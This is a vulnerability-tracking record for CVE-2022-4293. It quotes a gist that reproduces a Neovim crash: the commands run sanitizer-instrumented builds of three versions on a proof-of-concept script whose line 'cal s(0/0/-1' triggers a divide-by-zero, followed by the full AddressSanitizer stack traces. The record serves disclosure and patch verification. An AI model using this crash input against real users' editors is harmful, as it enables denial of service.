{"uuid": "ab9d26db-7281-4c41-9925-ee1e5b1e5fc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4293", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/368e0a5b8daafcd6b3aebe85e3793be1", "content": "Command:\n./nvim-0.8.3 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4293)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4293)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4293)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4293)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4293)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4293)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4293)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4293)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4293)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4293)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4293)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4293)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4293)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4293)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4293)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4293)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4293)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4293)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4293)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4293)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: cal s(0/0/-1\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==18649==ERROR: AddressSanitizer: FPE on unknown address 0x00000065fdfe (pc 0x00000065fdfe bp 0x7ffc3c5c4310 sp 0x7ffc3c5c4310 T0)\n    #0 0x65fdfe in num_divide /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:334:17\n    #1 0x68403d in eval6 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2857:16\n    #2 0x682fb4 in eval5 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2612:7\n    #3 0x6829cf in eval4 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2512:7\n    #4 0x682566 in eval3 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2441:7\n    #5 0x66c1bb in eval2 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2382:7\n    #6 0x66780d in eval1 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2318:7\n    #7 0x6e5e5e in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:433:9\n    #8 0x6f30bc in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #9 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #10 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #11 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #12 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #13 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #14 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #15 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #16 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #17 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #18 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #19 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #20 0x821a00 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #21 0x7f3c3ffb9082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #22 0x466f8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x466f8d)\n\nAddressSanitizer can not provide additional info.\nSUMMARY: AddressSanitizer: FPE /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:334:17 in num_divide\n==18649==ABORTING\n\n\n\nCommand:\n./nvim-0.6.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: cal s(0/0/-1\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==19715==ERROR: AddressSanitizer: FPE on unknown address 0x000000744a21 (pc 0x000000744a21 bp 0x7ffc7efb9e90 sp 0x7ffc7efb9e90 T0)\n    #0 0x744a21 in num_divide /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:316:17\n    #1 0x79d5bc in eval6 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3990:16\n    #2 0x79b85c in eval5 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3728:7\n    #3 0x79abe0 in eval4 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3622:7\n    #4 0x79a547 in eval3 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3541:7\n    #5 0x761567 in eval2 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3470:7\n    #6 0x75117c in eval1 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3394:7\n    #7 0x86c973 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:430:9\n    #8 0x887924 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3008:9\n    #9 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #10 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #11 0x8e89fc in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #12 0x8e56d2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #13 0x8e5cb0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #14 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #15 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #16 0x8f7933 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #17 0xabf9ae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #18 0xab7f96 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #19 0x7f27dc97c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #20 0x45df4d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x45df4d)\n\nAddressSanitizer can not provide additional info.\nSUMMARY: AddressSanitizer: FPE /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:316:17 in num_divide\n==19715==ABORTING\n\n\n\n\nCommand:\n./nvim-0.3.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nline 0: so poc\n\nline 0: sourcing \"poc\"\nline 1: cal s(0/0/-1\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==19861==ERROR: AddressSanitizer: FPE on unknown address 0x0000006c1bec (pc 0x0000006c1bec bp 0x7fff28a5fc30 sp 0x7fff28a5fa20 T0)\n    #0 0x6c1bec in eval6 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:4007:21\n    #1 0x6c007c in eval5 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3765:7\n    #2 0x6bd97f in eval4 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3502:7\n    #3 0x6bd277 in eval3 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3420:7\n    #4 0x6bcb87 in eval2 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3351:7\n    #5 0x6743dc in eval1 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3278:7\n    #6 0x681e1a in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6092:9\n    #7 0x67e8b6 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2726:9\n    #8 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #9 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #10 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #11 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #12 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #13 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #14 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #15 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #16 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #17 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #18 0x7f88825be082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #19 0x44ed5d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x44ed5d)\n\nAddressSanitizer can not provide additional info.\nSUMMARY: AddressSanitizer: FPE /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:4007:21 in eval6\n==19861==ABORTING", "creation_timestamp": "2026-09-21T07:06:43.547809Z"}